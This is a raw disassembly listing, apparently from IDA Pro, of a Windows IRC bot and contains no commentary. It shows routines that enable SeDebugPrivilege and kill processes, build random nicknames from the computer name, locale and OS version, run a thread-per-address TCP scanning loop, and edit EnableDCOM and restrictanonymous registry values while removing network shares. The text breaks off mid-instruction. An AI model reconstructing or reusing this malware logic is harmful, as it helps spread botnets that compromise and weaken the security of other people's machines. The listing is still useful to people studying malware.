E ======================================= ; Attributes: bp-based frame sub_413BE5 proc near ; CODE XREF: sub_409D12+7p ; sub_413C50+53p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_421104 ; GetCurrentProcess push eax call dword_43C538 ; OpenProcessToken test eax, eax jnz short loc_413C04 leave retn ; --------------------------------------------------------------------------- loc_413C04: ; CODE XREF: sub_413BE5+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43C510 ; LookupPrivilegeValueA test eax, eax jz short loc_413C42 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_413C2B or [ebp+var_8], 2 jmp short loc_413C2F ; --------------------------------------------------------------------------- loc_413C2B: ; CODE XREF: sub_413BE5+3Ej and [ebp+var_8], 0FFFFFFFDh loc_413C2F: ; CODE XREF: sub_413BE5+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43C5C0 ; AdjustTokenPrivileges mov esi, eax loc_413C42: ; CODE XREF: sub_413BE5+32j push [ebp+var_4] call dword_42106C ; CloseHandle mov eax, esi pop esi leave retn sub_413BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C50 proc near ; CODE XREF: sub_40CD3A+478Ep ; sub_413DFD+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43C574, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz short loc_413CF5 cmp dword_43C558, ebx jz short loc_413CF5 cmp dword_43C474, ebx jz short loc_413CF5 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413BE5 pop ecx pop ecx push ebx push 0Fh call dword_43C574 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz short loc_413CE8 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43C558 ; Process32First mov esi, dword_42106C test eax, eax jnz loc_413DAB loc_413CE3: ; CODE XREF: sub_413C50+173j push [ebp+var_4] call esi ; CloseHandle loc_413CE8: ; CODE XREF: sub_413C50+69j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413BE5 pop ecx pop ecx loc_413CF5: ; CODE XREF: sub_413C50+3Aj ; sub_413C50+42j ... xor eax, eax loc_413CF7: ; CODE XREF: sub_413C50+1A8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413CFC: ; CODE XREF: sub_413C50+16Dj cmp [ebp+arg_10], ebx jnz loc_413DAB cmp [ebp+arg_C], ebx jnz loc_413D96 cmp [ebp+arg_4], ebx jz loc_413DAB push [ebp+var_124] push 8 call dword_43C574 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_413D56 lea eax, [ebp+var_350] push eax push edi call dword_43C420 ; Module32First push [ebp+var_124] test eax, eax jz short loc_413D5C lea eax, [ebp+var_230] jmp short loc_413D62 ; --------------------------------------------------------------------------- loc_413D56: ; CODE XREF: sub_413C50+E4j push [ebp+var_124] loc_413D5C: ; CODE XREF: sub_413C50+FCj lea eax, [ebp+var_108] loc_413D62: ; CODE XREF: sub_413C50+104j push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_415316 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h push edi call esi ; CloseHandle jmp short loc_413DAB ; --------------------------------------------------------------------------- loc_413D96: ; CODE XREF: sub_413C50+B8j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_415730 pop ecx test eax, eax pop ecx jz short loc_413DC8 loc_413DAB: ; CODE XREF: sub_413C50+8Dj ; sub_413C50+AFj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43C474 ; Process32Next test eax, eax jnz loc_413CFC jmp loc_413CE3 ; --------------------------------------------------------------------------- loc_413DC8: ; CODE XREF: sub_413C50+159j push [ebp+var_124] push ebx push 1F0FFFh call dword_42111C ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push ebx push edi call dword_421140 ; TerminateProcess test eax, eax jnz short loc_413DF5 push edi call esi ; CloseHandle jmp loc_413CF5 ; --------------------------------------------------------------------------- loc_413DF5: ; CODE XREF: sub_413C50+19Bj xor eax, eax inc eax jmp loc_413CF7 sub_413C50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413DFD proc near ; DATA XREF: sub_40CD3A+5343o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_43768C rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_415316 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_413E5C push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412BD1 add esp, 14h loc_413E5C: ; CODE XREF: sub_413DFD+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_413C50 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_413E8A push offset dword_437650 jmp short loc_413E8F ; --------------------------------------------------------------------------- loc_413E8A: ; CODE XREF: sub_413DFD+84j push offset dword_437618 loc_413E8F: ; CODE XREF: sub_413DFD+8Bj push eax call sub_415316 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_413EBC push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412BD1 add esp, 14h loc_413EBC: ; CODE XREF: sub_413DFD+9Dj lea eax, [ebp+var_298] push eax call sub_40B078 push [ebp+var_14] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_413DFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413EDB proc near ; CODE XREF: sub_40CD3A+4730p ; sub_414F15+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call dword_42111C ; OpenProcess mov esi, eax test esi, esi jz short loc_413F0D push 0 push esi call dword_421140 ; TerminateProcess test eax, eax jnz short loc_413F0D push esi xor edi, edi call dword_42106C ; CloseHandle loc_413F0D: ; CODE XREF: sub_413EDB+1Aj ; sub_413EDB+27j mov eax, edi pop edi pop esi retn sub_413EDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F12 proc near ; CODE XREF: sub_4036BB+Ap ; sub_403C74+16p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_415372 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_421668 call sub_415E24 sub esi, eax mov eax, esi pop esi leave retn sub_413F12 endp ; =============== S U B R O U T I N E ======================================= sub_413F42 proc near ; CODE XREF: sub_414278+4Ap ; DATA XREF: seg001:off_4376D8o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_42104C ; GetTickCount push eax call sub_415368 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset dword_42C2E8 push offset aS_1 ; "%s" push 1Ch push edi call sub_41588A xor esi, esi add esp, 10h cmp dword_42C264, esi jle short loc_413F9B loc_413F75: ; CODE XREF: sub_413F42+57j call sub_415372 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43772C push 1Ch push edi call sub_41588A add esp, 14h inc esi cmp esi, dword_42C264 jl short loc_413F75 loc_413F9B: ; CODE XREF: sub_413F42+31j mov eax, edi pop edi pop esi retn sub_413F42 endp ; =============== S U B R O U T I N E ======================================= sub_413FA0 proc near ; CODE XREF: sub_40CD3A+3CBAp arg_0 = dword ptr 4 push ebx push esi push edi call dword_42104C ; GetTickCount push eax call sub_415368 pop ecx call sub_415372 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42C264 test esi, esi jle short loc_413FE3 loc_413FCD: ; CODE XREF: sub_413FA0+41j call sub_415372 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_413FCD loc_413FE3: ; CODE XREF: sub_413FA0+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_413FA0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call dword_42104C ; GetTickCount push eax call sub_415368 pop ecx lea eax, [ebp-4] mov esi, offset dword_437734 push eax push esi call dword_42113C ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_41588A xor esi, esi add esp, 0Ch cmp dword_42C264, esi jle short loc_414056 loc_414030: ; CODE XREF: seg001:00414054j call sub_415372 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43772C push 1Ch push edi call sub_41588A add esp, 14h inc esi cmp esi, dword_42C264 jl short loc_414030 loc_414056: ; CODE XREF: seg001:0041402Ej mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_42104C ; GetTickCount push eax call sub_415368 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_421144 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_437738 push 1Ch push edi call sub_41588A xor esi, esi add esp, 10h cmp dword_42C264, esi jle short loc_4140CB loc_4140A5: ; CODE XREF: seg001:004140C9j call sub_415372 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43772C push 1Ch push edi call sub_41588A add esp, 14h inc esi cmp esi, dword_42C264 jl short loc_4140A5 loc_4140CB: ; CODE XREF: seg001:004140A3j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43B188 mov dword ptr [ebp-94h], 94h call dword_42110C ; GetVersionExA call dword_42104C ; GetTickCount push eax call sub_415368 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_414155 cmp dword ptr [ebp-8Ch], 0 jnz short loc_414135 cmp dword ptr [ebp-84h], 1 jnz short loc_414125 mov esi, offset a95 ; "95" loc_414125: ; CODE XREF: seg001:0041411Ej cmp dword ptr [ebp-84h], 2 jnz short loc_414191 mov esi, offset aNt ; "NT" jmp short loc_414191 ; --------------------------------------------------------------------------- loc_414135: ; CODE XREF: seg001:00414115j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_414145 mov esi, offset a98 ; "98" jmp short loc_414191 ; --------------------------------------------------------------------------- loc_414145: ; CODE XREF: seg001:0041413Cj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_41418C mov esi, offset aMe ; "ME" jmp short loc_414191 ; --------------------------------------------------------------------------- loc_414155: ; CODE XREF: seg001:0041410Cj cmp dword ptr [ebp-90h], 5 jnz short loc_41418C cmp dword ptr [ebp-8Ch], 0 jnz short loc_41416E mov esi, offset a2k ; "2K" jmp short loc_414191 ; --------------------------------------------------------------------------- loc_41416E: ; CODE XREF: seg001:00414165j cmp dword ptr [ebp-8Ch], 1 jnz short loc_41417E mov esi, offset aXp ; "XP" jmp short loc_414191 ; --------------------------------------------------------------------------- loc_41417E: ; CODE XREF: seg001:00414175j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_437744 jz short loc_414191 loc_41418C: ; CODE XREF: seg001:0041414Cj ; seg001:0041415Cj mov esi, offset dword_42B870 loc_414191: ; CODE XREF: seg001:0041412Cj ; seg001:00414133j ... mov edi, [ebp+8] push esi push offset dword_43773C push 1Ch push edi call sub_41588A xor esi, esi add esp, 10h cmp dword_42C264, esi jle short loc_4141D5 loc_4141AF: ; CODE XREF: seg001:004141D3j call sub_415372 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43772C push 1Ch push edi call sub_41588A add esp, 14h inc esi cmp esi, dword_42C264 jl short loc_4141AF loc_4141D5: ; CODE XREF: seg001:004141ADj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141DB proc near ; CODE XREF: sub_414278+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_42104C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax call dword_43C560 ; FindWindowA cmp esi, 64h jbe short loc_41422A test eax, eax mov eax, offset dword_437750 jnz short loc_414213 mov eax, offset byte_43B188 loc_414213: ; CODE XREF: sub_4141DB+31j push eax push esi push offset dword_437748 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41588A add esp, 14h jmp short loc_414244 ; --------------------------------------------------------------------------- loc_41422A: ; CODE XREF: sub_4141DB+28j test eax, eax mov eax, offset dword_437750 jnz short loc_414238 mov eax, offset byte_43B188 loc_414238: ; CODE XREF: sub_4141DB+56j push eax lea eax, [ebp+var_1C] push eax call sub_415316 pop ecx pop ecx loc_414244: ; CODE XREF: sub_4141DB+4Dj lea eax, [ebp+var_1C] push eax call sub_415B10 pop ecx cmp eax, 2 pop esi jbe short loc_414273 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_416DB0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_416BE0 add esp, 18h loc_414273: ; CODE XREF: sub_4141DB+77j mov eax, [ebp+arg_0] leave retn sub_4141DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414278 proc near ; CODE XREF: sub_40CA58+7Fp ; sub_40CBBE+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_414281: ; CODE XREF: sub_414278+40j cmp [ebp+arg_C], 0 jz short loc_41429F lea eax, dword_4376C8[esi] push eax push [ebp+arg_C] call sub_415730 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41429F: ; CODE XREF: sub_414278+Dj mov ecx, dword_4376D4[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_4142AD: ; CODE XREF: sub_414278+25j test eax, eax jnz short loc_4142BC add esi, 14h inc edi cmp esi, 64h jb short loc_414281 jmp short loc_4142CA ; --------------------------------------------------------------------------- loc_4142BC: ; CODE XREF: sub_414278+37j push [ebp+arg_0] lea eax, [edi+edi*4] call off_4376D8[eax*4] pop ecx loc_4142CA: ; CODE XREF: sub_414278+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_4142DD push [ebp+arg_0] call sub_4141DB pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4142DD: ; CODE XREF: sub_414278+58j mov eax, [ebp+arg_0] pop ebp retn sub_414278 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142E2 proc near ; DATA XREF: sub_4143AF+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A4h], esi lea eax, [ebp+var_10] push eax call sub_415390 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43C554 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43C5D4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4143A0 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43C4FC ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4416D4[ecx], esi jz short loc_4143A0 push [ebp+var_34] push [ebp+var_28] call dword_43C5E0 ; inet_ntoa push eax mov edi, offset dword_46B408 push offset unk_437754 push edi call sub_415316 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_412BD1 push edi call sub_40B078 add esp, 28h loc_4143A0: ; CODE XREF: sub_4142E2+5Dj ; sub_4142E2+7Ej push esi call dword_43C5EC ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_4142E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4143AF proc near ; DATA XREF: sub_40CD3A+3410o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_421060 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_4143DD: ; CODE XREF: sub_4143AF+ECj push [ebp+var_2C] push [ebp+var_20] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_437790 push eax call sub_415316 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_4414C8 push eax call sub_416BE0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_4142E2 push edi push edi call dword_42108C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_414449 jmp short loc_414444 ; --------------------------------------------------------------------------- loc_414440: ; CODE XREF: sub_4143AF+98j push 32h call esi ; Sleep loc_414444: ; CODE XREF: sub_4143AF+8Fj cmp [ebp+var_C], edi jz short loc_414440 loc_414449: ; CODE XREF: sub_4143AF+8Dj push [ebp+var_4] call dword_42106C ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_4153F0 add esp, 0Ch push [ebp+arg_0] call dword_43C488 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_43C550 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_4153F0 add esp, 0Ch jmp loc_4143DD sub_4143AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4144A0 proc near ; DATA XREF: sub_40CD3A+5979o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_4144E7 call sub_414500 jmp short loc_4144EC ; --------------------------------------------------------------------------- loc_4144E7: ; CODE XREF: sub_4144A0+3Ej call sub_414826 loc_4144EC: ; CODE XREF: sub_4144A0+45j add esp, 10h push [ebp+var_14] call sub_4150F0 pop ecx push 0 call dword_421048 ; ExitThread sub_4144A0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414500 proc near ; CODE XREF: sub_4144A0+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43C620, edi jnz loc_414632 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43C5C4 ; RegOpenKeyExA test eax, eax jnz short loc_41458B mov ax, word_437B80 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43C578 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_414573 push offset unk_437B3C jmp short loc_414578 ; --------------------------------------------------------------------------- loc_414573: ; CODE XREF: sub_414500+6Aj push offset dword_437B0C loc_414578: ; CODE XREF: sub_414500+71j push eax call sub_415316 pop ecx pop ecx push [ebp+var_4] call dword_43C530 ; RegCloseKey jmp short loc_41459E ; --------------------------------------------------------------------------- loc_41458B: ; CODE XREF: sub_414500+36j lea eax, [ebp+var_214] push offset unk_437AC8 push eax call sub_415316 pop ecx pop ecx loc_41459E: ; CODE XREF: sub_414500+89j cmp [ebp+arg_C], edi jnz short loc_4145BD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_4145BD: ; CODE XREF: sub_414500+A1j lea eax, [ebp+var_214] push eax call sub_40B078 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43C5C4 ; RegOpenKeyExA test eax, eax jnz short loc_41462B lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43C578 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_414613 push offset unk_437A60 jmp short loc_414618 ; --------------------------------------------------------------------------- loc_414613: ; CODE XREF: sub_414500+10Aj push offset unk_437A18 loc_414618: ; CODE XREF: sub_414500+111j push eax call sub_415316 pop ecx pop ecx push [ebp+var_4] call dword_43C530 ; RegCloseKey jmp short loc_414645 ; --------------------------------------------------------------------------- loc_41462B: ; CODE XREF: sub_414500+E2j push offset unk_4379C8 jmp short loc_414637 ; --------------------------------------------------------------------------- loc_414632: ; CODE XREF: sub_414500+13j push offset unk_437980 loc_414637: ; CODE XREF: sub_414500+130j lea eax, [ebp+var_214] push eax call sub_415316 pop ecx pop ecx loc_414645: ; CODE XREF: sub_414500+129j cmp [ebp+arg_C], edi jnz short loc_414664 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_414664: ; CODE XREF: sub_414500+148j lea eax, [ebp+var_214] push eax call sub_40B078 cmp dword_43C648, edi pop ecx jnz loc_4147E1 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_414687: ; CODE XREF: sub_414500+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43C4A0 cmp eax, edi mov [ebp+var_10], eax jz short loc_414726 cmp eax, 0EAh jz short loc_414726 xor esi, esi loc_4146B5: ; CODE XREF: sub_414500+21Fj push off_4377D0[esi] push edi call sub_413225 pop ecx pop ecx push off_4377D0[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_4146DA push offset unk_437948 jmp short loc_4146DF ; --------------------------------------------------------------------------- loc_4146DA: ; CODE XREF: sub_414500+1D1j push offset unk_437908 loc_4146DF: ; CODE XREF: sub_414500+1D8j push 200h push eax call sub_41588A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41470C push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_41470C: ; CODE XREF: sub_414500+1F0j lea eax, [ebp+var_214] push eax call sub_40B078 add esi, 8 pop ecx cmp esi, 20h jb short loc_4146B5 jmp loc_4147BE ; --------------------------------------------------------------------------- loc_414726: ; CODE XREF: sub_414500+1AAj ; sub_414500+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_4147B5 loc_414735: ; CODE XREF: sub_414500+2B1j mov edi, [esi] push edi call sub_4179FC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_4147AA push edi call sub_413112 push eax push 0 call sub_413225 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41476A push offset unk_4378D0 jmp short loc_41476F ; --------------------------------------------------------------------------- loc_41476A: ; CODE XREF: sub_414500+261j push offset unk_437890 loc_41476F: ; CODE XREF: sub_414500+268j push 200h push eax call sub_41588A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41479D push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_41479D: ; CODE XREF: sub_414500+281j lea eax, [ebp+var_214] push eax call sub_40B078 pop ecx loc_4147AA: ; CODE XREF: sub_414500+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_414735 xor edi, edi loc_4147B5: ; CODE XREF: sub_414500+22Fj push [ebp+var_8] call dword_43C5E4 loc_4147BE: ; CODE XREF: sub_414500+221j cmp [ebp+var_10], 0EAh jz loc_414687 lea eax, [ebp+var_214] push offset unk_437854 push eax call sub_415316 pop ecx pop ecx pop ebx jmp short loc_4147F4 ; --------------------------------------------------------------------------- loc_4147E1: ; CODE XREF: sub_414500+177j lea eax, [ebp+var_214] push offset unk_437810 push eax call sub_415316 pop ecx pop ecx loc_4147F4: ; CODE XREF: sub_414500+2DFj cmp [ebp+arg_C], edi jnz short loc_414812 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_414812: ; CODE XREF: sub_414500+2F7j lea eax, [ebp+var_214] push eax call sub_40B078 pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_414500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414826 proc near ; CODE XREF: sub_4144A0:loc_4144E7p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43C620, ebx push esi jnz loc_414954 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43C5C4 ; RegOpenKeyExA test eax, eax jnz short loc_4148B1 mov ax, word_437D88 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43C578 ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_414899 push offset unk_437D50 jmp short loc_41489E ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_414826+6Aj push offset dword_437D20 loc_41489E: ; CODE XREF: sub_414826+71j push eax call sub_415316 pop ecx pop ecx push [ebp+var_4] call dword_43C530 ; RegCloseKey jmp short loc_4148C4 ; --------------------------------------------------------------------------- loc_4148B1: ; CODE XREF: sub_414826+36j lea eax, [ebp+var_220] push offset unk_437AC8 push eax call sub_415316 pop ecx pop ecx loc_4148C4: ; CODE XREF: sub_414826+89j cmp [ebp+arg_C], ebx jnz short loc_4148E3 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_4148E3: ; CODE XREF: sub_414826+A1j lea eax, [ebp+var_220] push eax call sub_40B078 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43C5C4 ; RegOpenKeyExA test eax, eax jnz short loc_41494D lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43C578 ; 